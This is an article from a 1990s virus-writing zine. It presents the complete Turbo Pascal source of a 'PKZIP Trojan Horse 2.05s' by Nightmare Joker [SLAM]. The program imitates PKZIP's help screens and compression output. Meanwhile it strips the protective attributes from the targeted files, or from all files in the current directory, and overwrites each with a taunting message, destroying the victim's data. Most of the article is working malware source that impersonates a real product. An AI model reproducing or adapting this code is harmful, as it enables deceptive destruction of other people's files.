Copy Link
Add to Bookmark
Report
SLAM2.013: PKZIP Trojan Horse 2.05s - Easy!
{[ PKZIP Trojan Horse 2.05s ]------------------------------------------------
˛ NAME: PKZIP Trojan Horse 2.05s
˛ SIZE: 17088 Bytes
˛ ORIGIN: Germany
˛ AUTHOR: Nightmare Joker
Some people had sent me a mail and wanted to have the PKZIP Trojan Horse 3.00, but I couldn't find it and so I decided to make a own PKZIP Trojan Horse. And here is it now.
If you start the Trojan Horse with the command "Pkzip SLAM" then you will see a short Message and nothing will happen, too.
Another thing: I tried to make the code really easy.
I think everyone, who knows a little bit about Pascal understand it.
---code start's here-------------------------------------}
program pkziptrojan;
uses dos, crt;
procedure one;
begin
Clrscr;
WriteLn;
WriteLn;
WriteLn;
WriteLn('Usage: PKZIP [options] zipfile [@list] [files...]');
WriteLn;
WriteLn('-a+ clear archive Attribute after compression');
WriteLn('-c create/Edit Comments for all files');
WriteLn('-C add Comments for new files only');
WriteLn('-i[-] add files with archive Attribute set [don`t turn attribute off]');
WriteLn('-j|J mask|don`t mask files (default=jhrs)');
WriteLn('-k Keep original .ZIP file date');
WriteLn('-o set .ZIP file date to the latest file in ZIP file');
WriteLn('-q enable ANSI codes in comments');
WriteLn('-t[date] take files NEWER than or EQUAL to date (default=today)');
WriteLn('-T[date] take files older than date (default=today)');
WriteLn('-w|W include|exclude files (default=Whs)');
WriteLn('-x eXclude specified file');
WriteLn('-x@list eXclude file(s) in specified list file');
WriteLn('-z create or modify .ZIP comment');
WriteLn('-! add authenticity verification to .ZIP file (registered vers only)');
WriteLn('-$[drive] save Volume label in .ZIP file (default = current drive)');
WriteLn('-@list generate list file');
WriteLn('-= open file in compatibility mode (bypass share)');
WriteLn('Press 1 for basic options, 2 for order options (including spanning and');
WriteLn('formatting), 4 for trouble shooting options, any other key to quit help.');
end;
procedure two;
begin
Clrscr;
WriteLn;
WriteLn;
WriteLn;
WriteLn(' - - TROUBLE SHOOTING OPTIONS - -');
WriteLn;
WriteLn('If you experience difficulty with PKZIP, please consult your manual.');
WriteLn('If problems continue, please document the problem as well as possible');
WriteLn('and contact PKWARE technical support.');
WriteLn;
WriteLn('9025 North Deerwood Drive');
WriteLn('Brown Deer, WI 53223');
WriteLn;
WriteLn('Support BBS: 414-354-8670');
WriteLn(' Fax: 414-354-8559');
WriteLn;
WriteLn('-3 Disable 32-bit instruction usage on 80386 or higher CPU`s');
WriteLn('-^ Echo the command line');
WriteLn('-+ Disable Expanded Memory (EMS) usage');
WriteLn('-- Disable UMB/HMA Memory (XMS) usage');
WriteLn('-~ Disable Network usage');
WriteLn('-) Disable 32 bit DPMI usage');
WriteLn('-( Use "Slow" MemCopy');
WriteLn;
WriteLn('Press 1 for basic options, 2 for order options (including spanning and');
WriteLn('formatting), 3 for advanced options, any other key to quit help.');
end;
procedure three;
begin
Clrscr;
WriteLn;
WriteLn;
WriteLn;
WriteLn('Usage: PKZIP [options] zipfile [@list] [files...]');
WriteLn;
WriteLn('-a Add files');
WriteLn('-b[drive] create temp zipfile on alternative drive');
WriteLn('-d Delete files');
WriteLn('-e[x,n,f,s,0] use [extras|Normal (deafult)|Fast|Super fast|NO compression]');
WriteLn('-f Freshen files');
WriteLn('-l display software License agreement');
WriteLn('-m[f,u] Move files [with Freshen | with Update]');
WriteLn('-u Update files');
WriteLn('-p|P store Pathnames|p=recursed into|P=specified & recursed into');
WriteLn('-r Recurse subdirectories');
WriteLn('-s[pwd] Scramble with password [If no pwd is given, prompt for pwd]');
WriteLn('-v[b][r][m][t][c] View .ZIP [Brief][Reverse][MORE][Technical][Comment] sort by');
WriteLn(' [d,e,n,o,p,s] [Date|Extension|Name|natural Order(default)|Percentage|Size]');
WriteLn('-&[f|l|u Span disks [Format|format Low density|Unconditional format|');
WriteLn(' ul|w|v] Unconditional Low density|Wipe disk|enable dos Verify|');
WriteLn(' [s[drive]] Back up entire disk w/ subdirs (-rp) [drive to back up]]');
WriteLn;
WriteLn('*** For more information, please consult the user manual ***');
WriteLn('Press 1 for basic options, 3 for advanced opzions, 4 for trouble shooting');
WriteLn('options, any other key to quit help.');
end;
procedure four;
begin
Clrscr;
WriteLn('PKZIP (R) FAST! Create/Update Utility Version 2.05s 10-01-97');
WriteLn('Copr. 1993-1997 PKWARE Inc. All Rights Reserved. Shareware Version');
WriteLn('PKZIP Reg. U.S. Pat. and Tm. Off. Patent No. 9,888,777');
WriteLn;
WriteLn;
WriteLn('PKZIP /h[1] for basic help PKZIP /h[2|3|4] for other help screens.');
WriteLn;
WriteLn;
WriteLn('Usage: PKZIP [options] zipfile [@list] [files...]');
WriteLn;
WriteLn;
WriteLn(' Simple Usage: PKZIP zipfile file(s)...');
WriteLn(' | | |');
WriteLn('Program ----------------- | |');
WriteLn(' | |');
WriteLn('New zipfile to create ---------- |');
WriteLn(' |');
WriteLn('File(s) you wish to compress ---------- ');
WriteLn;
WriteLn('The above usage is only a very basic example of PKZIP`s capability.');
WriteLn;
WriteLn;
WriteLn('Press 2 for more options (including spanning & formatting), press 3 for');
WriteLn('advanced options, 4 for trouble shooting options, any other key to quit help.');
end;
procedure five;
begin
WriteLn;
WriteLn('If you use PKZIP on a regular basis you are strongly encouraged to register');
WriteLn('it. With a full registration of US $47.00 you will receive a comprehensive');
WriteLn('printed manual, the latest version of PKZIP, PKUNZIP & PKSFX software, and');
WriteLn('when available, the next version of the software. See the documentation for');
WriteLn('commercial and distribution licensing info. Send check or money order to:');
WriteLn(' PKWARE, Inc.');
WriteLn(' 9025 N. Deerwood Drive');
WriteLn(' Brown Deer, WI 53223');
end;
procedure author;
begin
Clrscr;
TextBackground(black);
TextColor(yellow);
WriteLn('***************************************************************************');
WriteLn('* *');
WriteLn('* …ÕÕÕÕÕª ª // ÕÕÕÕÕÕÕÕÕÕÕª ÕÀÕ …ÕÕÕÕÕÕª *');
WriteLn('* ∫ ∫ ∫ // // ∫ ∫ ∫ *');
WriteLn('* ÃÕÕÕÕÕº ∫// ÕÕÕÕ // ∫ ÃÕÕÕÕÕÕº *');
WriteLn('* ∫ ∫\\ // ∫ ∫ *');
WriteLn('* ∫ ∫ \\ // ∫ ∫ *');
WriteLn('* ∫ ∫ \\ …// ∫ ∫ *');
WriteLn('* » » \\ »ÕÕÕÕÕÕÕÕÕÕ Õ Õ º TROJAN HORSE 2.05s *');
WriteLn('* *');
Write('* ');
TextColor(darkgray+yellow);
Write('Created by Nightmare Joker [SLAM]');
TextColor(yellow);
WriteLn(' *');
WriteLn('* *');
WriteLn('***************************************************************************');
NormVideo;
ReadLn;
end;
procedure six;
begin
WriteLn;
WriteLn('PKZIP (R) FAST! Create/Update Utility Version 2.05s 10-01-97');
WriteLn('Copr. 1993-1997 PKWARE Inc. All Rights Reserved. Shareware Version');
WriteLn('PKZIP Reg. U.S. Pat. and Tm. Off. Patent No. 9,888,777');
WriteLn;
WriteLn('˛ 80286 CPU detected.');
WriteLn('˛ XMS version 2.00 detected.');
WriteLn('˛ Using Normal Compression.');
WriteLn;
end;
label
Again, no;
var
DirInfo: SearchRec;
datei : Text;
i, j, attr: Word;
s : Char;
a, b, c, d, e : integer;
const
Cool = $3F;
ReadOnly = $01;
Hidden = $02;
Archiv = $20;
SysFile = $04;
begin
b := 1;
c := 2;
If ParamStr(b) = 'SLAM' then
begin
author;
goto no
end;
If ParamStr(b) <> '' then
begin
If ParamStr(c) <> '' then
begin
six;
FindFirst(ParamStr(c), Archive, DirInfo);
WriteLn('Updating ZIP: ',ParamStr(b));
while DosError = 0 do
begin
Randomize;
j := random(10);
d := 09;
e := j * d;
a := WhereY;
Write(' Adding: ',DirInfo.Name);
Gotoxy(25,a);
WriteLn('Deflating (',e,'%), done.');
Assign(datei, DirInfo.Name);
GetFAttr(datei, attr);
if attr and ReadOnly <> 0 then
SetFAttr(datei, Cool);
if attr and Hidden <> 0 then
SetFAttr(datei, Cool);
if attr and SysFile <> 0 then
SetFAttr(datei, Cool);
Rewrite(datei);
WriteLn(datei, 'Thank you for using PKZIP 2.05s Trojan. ;-))');
WriteLn(datei, 'Nightmare Joker [SLAM]');
Close(datei);
FindNext(DirInfo);
end;
goto no;
end;
six;
FindFirst('*.*', Archive, DirInfo);
WriteLn('Updating ZIP: ',ParamStr(b));
while DosError = 0 do
begin
Randomize;
j := random(10);
d := 09;
e := j * d;
a := WhereY;
Write(' Adding: ',DirInfo.Name);
Gotoxy(25,a);
WriteLn('Deflating (',e,'%), done.');
Assign(datei, DirInfo.Name);
GetFAttr(datei, attr);
if attr and ReadOnly <> 0 then
SetFAttr(datei, Cool);
if attr and Hidden <> 0 then
SetFAttr(datei, Cool);
if attr and SysFile <> 0 then
SetFAttr(datei, Cool);
Rewrite(datei);
WriteLn(datei, 'Thank you for using the PKZIP 2.05s Trojan.');
WriteLn(datei, 'Nightmare Joker [SLAM]');
Close(datei);
FindNext(DirInfo);
end;
goto no;
end;
four;
Again:
s := ReadKey;
If s = '2' then
begin
three;
goto Again
end;
If s = '4' then
begin
two;
goto Again
end;
If s = '1' then
begin
four;
goto Again
end;
If s = '3' then
begin
one;
goto Again
end;
five;
no:
end.
{---code ends here------------------------------------------------
The next version will be better. Btw, this Trojan Horse is a "joke", don't start it! ;))
Nightmare Joker [SLAM]}
